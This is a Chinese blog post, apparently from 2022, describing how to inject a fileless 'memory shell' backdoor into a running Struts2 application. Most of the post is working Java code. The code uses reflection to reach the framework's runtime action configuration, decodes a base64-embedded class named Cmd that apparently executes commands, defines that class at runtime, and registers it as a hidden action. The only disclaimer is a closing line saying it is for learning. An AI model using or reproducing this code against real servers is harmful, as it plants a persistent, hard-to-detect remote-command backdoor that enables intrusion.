Struts2 的内存马

附一张请求流程图:

 

开始的思路是注册一个interceptor 来实现内存马,但是后续发现没找到往哪里注册就并未实现 interceptor内存马。

后续发现在执行流程中,会获取Action对象,所以可以通过动态注册Action实现的内存马。

 

 

 

 

最终代码:

        java.lang.reflect.Field filed = Class.forName("com.opensymphony.xwork2.ActionContext").getDeclaredField("actionContext");
        filed.setAccessible(true);
        ThreadLocal<com.opensymphony.xwork2.ActionContext> context = (ThreadLocal<com.opensymphony.xwork2.ActionContext>)filed.get(null);
        com.opensymphony.xwork2.ActionContext con = (com.opensymphony.xwork2.ActionContext)context.get();
        com.opensymphony.xwork2.ActionInvocation inv=con.getActionInvocation();
        java.lang.reflect.Field filed2 = inv.getClass().getDeclaredField("proxy");
        filed2.setAccessible(true);
        Object obj = filed2.get(inv);
        java.lang.reflect.Field filed3 = obj.getClass().getSuperclass().getDeclaredField("configuration");
        filed3.setAccessible(true);
        Object obj2 = filed3.get(obj);
        java.lang.reflect.Field filed4 = obj2.getClass().getDeclaredField("runtimeConfiguration");
        filed4.setAccessible(true);
        Object obj3 = filed4.get(obj2);
        java.lang.reflect.Field filed5 = obj3.getClass().getDeclaredField("namespaceActionConfigs");
        filed5.setAccessible(true);
        java.util.Map obj4 = (java.util.Map)filed5.get(obj3);
        java.lang.reflect.Field filed6 = obj4.getClass().getDeclaredField("m");
        filed6.setAccessible(true);
        java.util.Map obj5 = (java.util.Map)filed6.get(obj4);
        java.lang.ClassLoader loader = Thread.currentThread().getContextClassLoader();
        try{
            loader.loadClass("com.demo.action.Cmd");
        }catch (Exception e){
            String s="yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAAR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A8AAAACgABADoAZAA7AAk=";
            byte[] decode = java.util.Base64.getDecoder().decode(s);
            java.lang.reflect.Method var47 = loader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
            var47.setAccessible(true);
            Class var48 = (Class) var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
        }
        java.lang.reflect.Constructor<?> constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig").getDeclaredConstructor(new Class[]{String.class, String.class, String.class});
        constructor.setAccessible(true);
        com.opensymphony.xwork2.config.entities.ActionConfig o = (com.opensymphony.xwork2.config.entities.ActionConfig)constructor.newInstance("xx2", "she", "com.demo.action.Cmd");
        java.util.LinkedHashMap o1 = (java.util.LinkedHashMap)obj5.get("");
        o1.put("she",o);

这是在Action方法里面执行的,在interceptor 处执行是否可行并没有测试,同时struts2大多数也是部署在tomcat中的,所以直接使用tomcat内存马也是可行的。

文章仅做学习交流。

 

posted @ 2022-04-18 22:01  xiaozhiru  阅读(843)  评论(0编辑  收藏  举报